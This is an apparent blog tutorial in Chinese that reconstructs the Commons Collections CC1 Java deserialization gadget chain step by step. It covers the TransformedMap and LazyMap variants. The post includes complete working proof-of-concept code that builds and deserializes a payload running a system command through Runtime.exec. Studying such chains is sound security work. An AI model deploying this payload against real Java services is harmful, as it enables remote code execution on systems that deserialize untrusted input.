CC1链子

发布时间 2023-06-05 10:20:14作者: 1vxyz

<1> 环境配置

因为CC1链在jdk 8u71后就修复了 因此我们复现就利用 8u65的版本

去官网下载 jdk8u65
https://www.oracle.com/cn/java/technologies/javase/javase8-archive-downloads.html

然后去 下载openjdk
http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/af660750b2f4/
把下载的openjdk里 /share/classes/ 里面的 sun包 复制到 jdk1.8.0_65里

打开IDEA 新建一个Maven项目 选择 org.apache.maven.archetypes:maven-archetype-webapp

导入commons collections maven依赖

将下面写入到 pom.xml 里

    <dependencies>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>
    </dependencies>

然后打开 IDEA 文件->项目结构-> SDK -> 源路径设置 填上刚才设置的的src目录

在src目录下右键创建java目录 resource目录

这里IDEA在src创建目录时提供了这两个选项 直接创建即可

<2> 链子分析

(1) 找Sink

链子主要用到的是这个 transformer接口。这个接口就接受一个Object类然后利用方法transform

InvokerTransformer 相当于帮我们实现了一个反射调用,参数都可控

因此我们可以通过 InvokerTransformer类的 transform 方法来invoke Runtime类getRuntime对象的exec实现 rce

代码如下:

public class CC1Test {
    public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {

        Runtime r = Runtime.getRuntime();

        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

    }
}

所以我们也就找到了CC1链的 Sink点 --- InvokerTransformer::transform()

(2) 找gadget

在知道了 InvokerTransformer::transform()可以rce之后,我们就找一下 哪些类可以调用 InvokerTransformer.transform()方法

查找一下 transform() 的用法:

发现TransformedMap类的 checkSetValue() 里使用了 valueTransformer调用transform()

而这个 valueTransformer参数是否可控呢? 是什么类型呢?

我们跟进查看一下 TransformedMap类

TransformedMap类

//构造方法  但是是protected类型的
    protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        super(map);
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer;
    }

//可以利用decorate方法来生成 TransformedMap实例
    public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }

    protected Object checkSetValue(Object value) {
        return valueTransformer.transform(value);
    }

这里可以看到 valueTransformer是Transformer类型,而且构造函数里可以直接赋值 可控。

如果我们可以调用 TransformedMap的checkSetValue方法,那我们给 valueTransformer 赋值 构造的InvokerTransformer实例 就可以通过 valueTransformer.transform(value);

实现 InvokerTransformer.transform(value); 从而 rce

继续找入口点,去触发checkSetValue

跟进查看 发现只有 父类 AbstractInputCheckedMapDecorator抽象类里的 MapEntry 的setValue() 调用了checkSetValue()

因此我们可以再次构造一个链子 实现rce
代码如下:

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class CC1Test {
    public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
        Runtime r = Runtime.getRuntime();

        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

        HashMap<Object,Object> map = new HashMap<>();
        map.put("key","value");
        Map<Object,Object> transfromedMap = TransformedMap.decorate(map, null, invokerTransformer);
        for(Map.Entry entry:transfromedMap.entrySet()){
            entry.setValue(r);
        }
    }
}

(3) 找反序列化入口点

继续找链子,最终我们应该找到的是一个 继承了Serialize接口的,实现了readObject()方法且方法里调用了链子里的某个函数。

如果找不到序列化入口点的话,就需要再看看哪个类里面调用了触发setValue()的方法,实现entry.setValue()的效果,需要多走一层

但是CC1里刚好,AnnotationInvocationHandler类readObject里面的readObject方法调用了setValue 且可被利用

循环遍历了map,且对 membervalue调用了setValue。完美符合了我们刚才测试代码的格式

我们跟进看一下 AnnotationInvocationHandler类 有什么是可以控制的

Annotation就是Java里面注解的意思,所以这个类是和Java注解有关的一个类 而且invocationHandler动态代理中的一个调用处理器类

注意这个类不是public类型,不能直接获取,因此需要反射获取
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

根据这些,我们可以将代码改为:

public class CC1Test {
    public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException, ClassNotFoundException {
        Runtime r = Runtime.getRuntime();


        //new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});


        HashMap<Object,Object> map = new HashMap<>();
        map.put("key","value");
        Map<Object,Object> transfromedMap = TransformedMap.decorate(map, null, invokerTransformer);

//        for(Map.Entry entry:transfromedMap.entrySet()){
//            entry.setValue(r);  这里 setValue应该传 Runtime.getRuntime()对象的
//        }

        Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        annotationInvocationHandlerConstructor.setAccessible(true);
        Object o = annotationInvocationHandlerConstructor.newInstance(Override.class,transfromedMap);

    }

但是呢,这里还存在两个问题

  • annotationInvocationHandler类readObject里 setValue() 里参数好像是控制不了的
if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
  • 前面测试里的,Runtime对象是自己生成的,但是它没有继承Serializable接口,是不能被序列化的

Runtime对象不能序列化问题--解决

Runtime()没有继承Serializable接口,不能序列化,那我们想一想 什么是可以被序列化的呢?

它的 Class(类的原型)是可以序列化的,可以通过它的Class 弄出来一个它

过程:获取Runtime Class -> 获取 getRuntime()方法 -> 获取 实例 -> 获取 exec方法

需要三次反射

代码如下:

        Class c = Runtime.class;
        Method getRuntimeMethod = c.getMethod("getRuntime");
        Runtime r = (Runtime) getRuntimeMethod.invoke(null, null);
        Method execMethod = c.getMethod("exec", String.class);
        execMethod.invoke(r,"calc");

转化为用链子的Sink点 InvokerTransformer的transform来反射
代码如下:

        Object getRuntimeMethod = new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
        Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod);
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

可以看到 用InvokerTransformer的transform来反射 都是后一个调前一个这种的

有一个 ChainedTransformer 类正好可以干这个,我们来看一下这个类

我们就可以利用这个类,把他们写在一起 写成一个Transformer[] 数组即可

        Transformer[] transformers = new Transformer[]{
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
            new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        chainedTransformer.transform(Runtime.class);

因此,原本的链子代码,可以转化为:

public class CC1Test {
    public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException, ClassNotFoundException {

        Transformer[] transformers = new Transformer[]{
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
            new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object,Object> map = new HashMap<>();
        map.put("key","value");
        Map<Object,Object> transfromedMap = TransformedMap.decorate(map, null, chainedTransformer);

        Class<?> c1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationHandlerConstructor = c1.getDeclaredConstructor(Class.class, Map.class);
        annotationInvocationHandlerConstructor.setAccessible(true);
        Object o = annotationInvocationHandlerConstructor.newInstance(Override.class,transfromedMap);
        serialize(o);
        unserialize("ser.bin");

    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        return ois.readObject();
    }
}

但是 我们执行一下 缺并不能弹出计算器 因为还有一个问题没有解决

annotationInvocationHandler类readObject里 setValue() 里参数控制 --解决

我们调试进去看一下

在反序列化 readObject执行时, 会给name = memberValue.getKey(); 而memberValue即为我们传入的Map,所以就是获得它的key,这里我们赋的值为"key"

然后会 执行memberType = memberTypes.get(name);

什么是memberTypes呢?

它会获取memberType里的名为 name 的成员方法
由于注解 Override 里面并没有key这个参数 因此会导致 memberType为null 进不去if语句里了

那我们必须一个满足条件的有成员方法的Class,同时我们的Map里的key值还要改为这个成员方法名字。而 Target里有 value方法。

那我们更改构造器里 Override.class 为 Targe.class

同时更改Map 的key的值为字符串"value" 这样不就能找到了吗?

成功进入if语句里

然后底下那个if 判断 if (!(memberType.isInstance(value) ||value instanceof ExceptionProxy))
实际上是判断它俩能不能强转,肯定强转不了的。能进来

最后就到了这个 setValue()的地方,如果这里能控制,那我们就可以命令执行了 但是参数好像 它是new的一个代理类,并不能被控制 怎么办呢?

继续跟进,看一下,到了这里,就是最后的这个点了

这里这个valueTransformer.transform(value); 实际上我们需要把value 改成这个Runtime.class 才可以
而这里的value是 这个 AnnotationTypeMismatchExceptionProxy

//valueTransformer.transform(value);
//chainedTransformer.transform(Runtime.class);

这样的话,就不得不提到这个 ConstantTransformer类了

ConstantTransformer类

它重写了transform方法。它的特点就是不管它接受什么输入input,都返回特定的那个值iConstant

运用到这边的话,那就十分好用了。 即使最后的那个输入并不理想,只要最后调用了这个类的transform()方法,然后就可以从这里入手,无视input,改成特定的那个值iConstant。

这里我们把 new ConstantTransformer(Runtime.class) 写入到 transformers数组里, 就是说在最后valueTransformer.transform(value);chainedTransformer.transform(代理object);循环调用的时候,首先调用了 ConstantTransformer的transform方法,把输入的这个value无视,而返回 Runtime.class
达到控制的效果。 最后 实现了 获取Runtime Class -> 获取 getRuntime()方法 -> 获取 实例 -> 获取 exec方法

最后,成功执行calc

<3> LazyMap链分析

和之前的差不多,实际上区别就是 这个.get 是在LazyMap.get()

/*
	Gadget chain:
		ObjectInputStream.readObject()
			AnnotationInvocationHandler.readObject()
				Map(Proxy).entrySet()
					AnnotationInvocationHandler.invoke()
						LazyMap.get()
							ChainedTransformer.transform()
								ConstantTransformer.transform()
								InvokerTransformer.transform()
									Method.invoke()
										Class.getMethod()
								InvokerTransformer.transform()
									Method.invoke()
										Runtime.getRuntime()
								InvokerTransformer.transform()
									Method.invoke()
										Runtime.exec()
*/

所以原本的代码应该改为:

public class CC1_lazy {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object,Object> map = new HashMap<>();
        Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);

        Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> annotationInvocationhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        annotationInvocationhdlConstructor.setAccessible(true);
        InvocationHandler h = (InvocationHandler) annotationInvocationhdlConstructor.newInstance(Override.class, lazyMap);

        Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h);

        Object o = annotationInvocationhdlConstructor.newInstance(Override.class, mapProxy);
        serialize(o);
        unserialize("sercc1.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("sercc1.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        return ois.readObject();
    }
}